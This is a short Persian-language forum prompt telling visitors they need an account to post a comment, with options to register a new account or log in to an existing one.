برای اینکه بتوانید نظر ارسال کنید نیاز دارید که کاربر سایت شوید

ایجاد یک حساب کاربری

برای حساب کاربری جدید در انجمن ما ثبت نام کنید. عضویت خیلی ساده است !


ثبت نام یک حساب کاربری جدید

ورود به حساب کاربری

دارای حساب کاربری هستید؟ از اینجا وارد شوید


ورود به حساب کاربری